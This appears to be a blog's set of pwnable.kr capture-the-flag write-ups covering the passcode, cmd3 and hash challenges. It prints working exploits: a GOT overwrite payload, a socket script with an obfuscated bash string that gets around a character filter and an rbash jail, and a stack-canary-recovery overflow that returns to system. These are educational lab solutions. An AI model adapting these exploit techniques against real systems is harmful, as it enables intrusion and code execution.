Welcome AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!
enter passcode1 : 9

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x4c414136 ('6AAL')
EBX: 0xf772aff4 --> 0x1a4d7c 
ECX: 0x0 
EDX: 0x9 ('\t')
ESI: 0xf772bac0 --> 0xfbad2288 
EDI: 0x0 
EBP: 0xffe6e888 --> 0xf7585900 (0xf7585900)
ESP: 0xffe6e540 --> 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 
EIP: 0xf75d585b (<_IO_vfscanf+11947>:	mov    DWORD PTR [eax],edx)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf75d584c <_IO_vfscanf+11932>:	mov    eax,DWORD PTR [ebp-0x1d4]
   0xf75d5852 <_IO_vfscanf+11938>:	add    DWORD PTR [ebp-0x1d4],0x4
   0xf75d5859 <_IO_vfscanf+11945>:	mov    eax,DWORD PTR [eax]
=> 0xf75d585b <_IO_vfscanf+11947>:	mov    DWORD PTR [eax],edx
   0xf75d585d <_IO_vfscanf+11949>:	jmp    0xf75d350e {_IO_vfscanf+2910}
   0xf75d5862 <_IO_vfscanf+11954>:	mov    esi,DWORD PTR [ebp-0x1f4]
   0xf75d5868 <_IO_vfscanf+11960>:	mov    ecx,DWORD PTR [ebp-0x1e4]
   0xf75d586e <_IO_vfscanf+11966>:	mov    DWORD PTR [ebp-0x218],edi
[------------------------------------stack-------------------------------------]
0000| 0xffe6e540 --> 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 
0004| 0xffe6e544 --> 0xffe6e86c --> 0xffe6e551 --> 0xf77200 
0008| 0xffe6e548 --> 0xa ('\n')
0012| 0xffe6e54c --> 0x0 
0016| 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 
0020| 0xffe6e554 --> 0xf773d000 ("enter passcode1 : AA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!\n")
0024| 0xffe6e558 --> 0xf7585900 (0xf7585900)
0028| 0xffe6e55c --> 0xf75f5b74 (mov    ebp,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf75d585b in _IO_vfscanf () from /lib/i386-linux-gnu/libc.so.6
gdb-peda$ pattern search
Registers contain pattern buffer:
EAX+0 found at offset: 96
No register points to pattern buffer
Pattern buffer found at:
0xf773c002 : offset    2 - size   98 (mapped)
0xf773d012 : offset   10 - size   90 (mapped)
0xffe6e8c8 : offset   80 - size   20 ($sp + 0x388 [226 dwords])
References to pattern buffer found at:
0xf772bac8 : 0xf773c002 (/lib/i386-linux-gnu/libc-2.15.so)
0xffe6e6b4 : 0xffe6e8c8 ($sp + 0x174 [93 dwords])

Alright so I created a pattern with the peda tool and used it as the input for name. I chose 100 characters to fill the entire space allocated for name. And its a good thing I did as the value in eax is located at 96 bytes into the pattern in name. It is therefore the last 4 bytes. And the instruction is

=> 0xf75d585b <_IO_vfscanf+11947>:	mov    DWORD PTR [eax],edx

and since we can control the address in eax and the value in edx, as it is the number we enter for scanf(“%d”, passcode1), we have an arbitrary write vulnerability. To exploit this we will overwrite the GOT entry for fflush (the next function called).

gdb-peda$ pdisass login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 {printf@plt}
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 {__isoc99_scanf@plt}
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 {fflush@plt}
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 {__isoc99_scanf@plt}
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 {puts@plt}
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 {puts@plt}
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 {exit@plt}
End of assembler dump.
gdb-peda$ x/i 0x8048430
   0x8048430 {fflush@plt}:	jmp    DWORD PTR ds:0x804a004
gdb-peda$ x/xw 0x804a004
0x804a004 {fflush@got.plt}:	0x08048436
gdb-peda$ p/d 0x080485e3
$1 = 134514147

We will write the value 134514147 into the address 0x804a004, the GOT entry for fflush. The value 134514147 is the decimal value of the address 0x080485e3 which corresponds to the lines

   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 {system@plt}

This is the call to system that outputs the flag. Therefore instead of calling fflush the program will jump to the code that displays the flag. This all comes together in the command

passcode@ubuntu:~$ python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "\n" + "134514147"'|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

So there it is. This is a really nice little challenge. Something like this could happen in a real-world situation when a logical error leads to uninitialized memory being treated as a address or the offset of an address and written to or used as a function pointer and called. I actually had a interesting challenge in a job interview where the latter occurred. Let me know if there are any places that are unclear because I feel as though there are.

Pwnable Challenge: Cmd3

Heres my solution to cmd3. Its kind of a silly challenge that won’t teach you anything that will apply to other challenges or real world vulnerabilities. But it was still a lot of fun and since not many have solved it yet I figured I’d write something up for it. Heres the “exploit code”:

#sploitz dude
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 9023))

f = s.makefile()

line = f.readline()
while "your password" not in line:
	line = f.readline()

flagfile = line.split("flagbox/")[1].strip()
print "Flag File: %s" % flagfile

cmdfile = open("/tmp/___", "w+")
cmdfile.write("cat /home/cmd3_pwn/flagbox/"+flagfile)
cmdfile.close()

#where the magic happens
#this string uses some bullshit tricks to fill variables with spaces and "cat" and whatnot
sploitstr = '__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__};___=$(((__+__)));' \
	  + '____=$(((___+__)));______=$(((____+___)));????/???;$(${_:______:____}${_____}/???/___)' + "\n"

s.send(sploitstr)
f.readline()

password = f.read(32)
print "Password: %s" % password
s.send(password+"\n")

#read the output and get dat flag son
print "Flag: %s" % f.readline().split("cmd3$ Congratz! here is flag : ")[1].strip()

Alright so nearly all of the important part is the line under #where the magic happens. The first few lines just set up the socket for communicating with the target process listening at port 9023. It prints out information about what is in the directory and most importantly gives the file the password is in. And then there is a prompt for entering bash commands:

total 2824
drwxr-x---  5 root cmd3_pwn    4096 Mar 15 04:00 .
dr-xr-xr-x 66 root root        4096 Jul 13 06:44 ..
d---------  2 root root        4096 Jan 22  2016 .bash_history
-rwxr-x---  1 root cmd3_pwn    1421 Mar 11 00:54 cmd3.py
drwx-wx---  2 root cmd3_pwn    4096 Jul 24 21:21 flagbox
drwxr-x---  2 root cmd3_pwn    4096 Jan 22  2016 jail
-rw-r--r--  1 root root     2855746 Jul 25 16:08 log
-rw-r-----  1 root root         764 Mar 10 11:16 super.pl
total 8
drwxr-x--- 2 root cmd3_pwn 4096 Jan 22  2016 .
drwxr-x--- 5 root cmd3_pwn 4096 Mar 15 04:00 ..
lrwxrwxrwx 1 root root        8 Jan 22  2016 cat -> /bin/cat
lrwxrwxrwx 1 root root       11 Jan 22  2016 id -> /usr/bin/id
lrwxrwxrwx 1 root root        7 Jan 22  2016 ls -> /bin/ls
your password is in flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L
cmd3$

Alright so “cat flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L” and done! Unfortunately no. This prompt is extremely limited. Lets look at the code of cmd3:

#!/usr/bin/python
import base64, random, math
import os, sys, time, string
from threading import Timer

def rstring(N):
	return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))

password = rstring(32)
filename = rstring(32)

TIME = 60
class MyTimer():
	global filename
        timer=None
        def __init__(self):
                self.timer = Timer(TIME, self.dispatch, args=[])
                self.timer.start()
        def dispatch(self):
                print 'time expired! bye!'
		sys.stdout.flush()
		os.system('rm flagbox/'+filename)
                os._exit(0)

def filter(cmd):
	blacklist = '` !&|"\'*'
	for c in cmd:
		if ord(c)>0x7f or ord(c)<0x20: return False
		if c.isalnum(): return False
		if c in blacklist: return False
	return True

if __name__ == '__main__':
	MyTimer()
	print 'your password is in flagbox/{0}'.format(filename)
	os.system("ls -al")
	os.system("ls -al jail")
	open('flagbox/'+filename, 'w').write(password)
	try:
		while True:
			sys.stdout.write('cmd3$ ')
			sys.stdout.flush()
			cmd = raw_input()
			if cmd==password:
				os.system('./flagbox/print_flag')
				raise 1
			if filter(cmd) is False:
				print 'caught by filter!'
				sys.stdout.flush()
				raise 1

			os.system('echo "{0}" | base64 -d - | env -i PATH=jail /bin/rbash'.format(cmd.encode('base64')))
			sys.stdout.flush()
	except:
		os.system('rm flagbox/'+filename)
		os._exit(0)
	

The most important parts of this are the lines showing that the cmd is filtered and then passed to rbash. Rbash is a shell which (among other things) restricts execution of programs to those that are in the passed PATH, in this case “jail”. Also to my frustration the source operator “.” is similarly restricted. Additionally the filter method ensures that the only allowed characters are printable, nonalphanumeric, and not within the blacklist. This is a very limited set of characters as notably even spaces are not allowed. So the objective becomes how to craft a cmd out of allowed characters that will allow us to read the flagbox file. It is tough. My first idea, briefly alluded to above, was to use the source operator “.” to print out the file like “.${var containing space}./???????/????????????????????????????????”. This would ideally give an output like “{password}: command not found”. Unfortunately there are a couple issues with this that i didn’t figure out till later. First as stated before the source operator does not accept any string with “/” in it as an argument so you cannot escape the jail directory. Secondly the flabox directory is not readable so the file (“flagbox/{32 character string}”) cannot be referenced using the “?” wildcards. But I didn’t know either of those things so I set about trying to form this string. Really it wasn’t a waste of time because I needed to construct a variable with space in it anyway. Thats what the first part of my magic string “__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__}” is creating. This string heavily uses some weird bash stuff that is well covered on this site . So lets break this part down.

__=$((($$/$$))) -> Puts the value 1 in $__. As covered on the aforementioned site (((…))) allows you to do arithmetic in bash so $$/$$ evaluates to 1.

___=({.,.}) -> This is a bit confusing pretty much it just makes a variable $___ with an array containing 2 periods.

____=${___[@]} -> This takes that array and makes it into the string “. .”. Theres a space!

_____=${____:__:__} -> So now we put the string of length 1 at offset 1 of the previous constructed string into $_____. That character is the space!

Alright so we have a variable with a space now. It was at this point where I discovered that my previous strategy was not going to work. So I had to change tact. The next part just puts the numbers 2, 3, and 5 into variables. That code is : “___=$(((__+__)));____=$(((___+__)));______=$(((____+___)))” . Finally…

????/???;$(${_:______:____}${_____}/???/___) -> the first part uses wildcards to put “jail/cat” into $_. Then using the variables created above, the string “cat” is isolated and then the space variable is used followed by the wildcard expression that becomes /tmp/___. This is all wrapped in $(…) so this translates to “$(cat /tmp/___)” which will execute the command written in /tmp/___.

The exploit code writes “cat {flagfile}” into ___ so the command prints the password. Then the password is sent and the flag is printed. This challenge took some lateral thinking and several hours, not to mention lots of ideas that didn’t end up working. But I did learn a lot about bash minutiae that I will almost definitely never use again, so it was all worth it. If you have a better/shorter solution post it in the comments. Unless its too short and makes me look bad in which case keep it to yourself.

Pwnable Challenge: Hash

This is a write up for the Rookiss level pwnable.kr challenge hash. Heres my exploit code:

#sploitz brah
#hash local sploit

import re
import time
import struct
from ctypes import *
import base64
import socket

#use ctypes to get access to libc functions (like srand and rand)
libc = CDLL("libc.so.6")
#get timestamp
ts = libc.time(0)

#then immediately start the hash process so the times align
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9002))

f = s.makefile()
line = f.readline()
line = f.readline()

captcha = int(line.split(" : ")[1].strip())
print "Captcha: %d" % captcha

#captcha = v7 - v9 + v10 + v11 (canary) + v5 - v6 + v4 + v8
#v11 (canary) = captcha - v7 + v9 - v10 -v5 + v6 - v4 - v8
#seed rand with correct time
libc.srand(ts)
v3 = []

for i in range(0, 8):
    v3.append(libc.rand())

#get canary and cast it to an unsigned int
canary = c_uint(captcha - v3[4] + v3[6] - v3[7] - v3[2] + v3[3] - v3[1] - v3[5]).value
canary_bytes = struct.pack("<I", canary)

print "Canary: 0x%08x" % canary

s.send(str(captcha)+"\n")

sys_arg = "\x00/bin/cat /home/hash/flag\x00"
hash_input = "A"*512+canary_bytes+"B"*12+"\x86\x88\x04\x08CCCC\x65\xb4\x04\x08"+"D"*500
encoded_input = base64.b64encode(hash_input)

s.send(encoded_input[:900]+sys_arg+"\n")

for i in range(0,4):
    line = f.readline()

print "Flag: %s" % line.strip()

Alright so the tricky part of this challenge was the realization that the stack canary value was part of the equation that calculated the “captcha” number displayed by the program. I only realized this after looking at the c source in hexrays. This was where the variable names in the comment “captcha = v7 – v9 + v10 + v11 (canary) + v5 – v6 + v4 + v8” come from. The next obstacle was that the v* values were randomly generated. However if you run the script from the same server (hence the hint) and seed srand with the same timestamp, you can get the same random values with rand from libc. Thus you can calculate the canary and defeat the stack protection. After that its a pretty standard stack buffer overflow from the good old days when people didn’t worry about memory corruption and NSYNC was still cool. The input string is 512 bytes of junk followed by the canary followed by some more junk and then the return address is overwritten with the address of system followed by a junk return address followed by a pointer to the string “/bin/cat /home/hash/flag”, the argument passed to system.

I wasted a lot of time on this one because I misinterpreted the clue and felt that somehow I was supposed to gain code execution by messing with the environment variables, possibly by changing the PATH so i could control the execution of “date”. In retrospect this makes no sense but I don’t want to give the false impression that I figured this one out immediately. This was an interesting challenge though it is very unlikely that someone will intentionally leak the value of the stack canary in real life situations.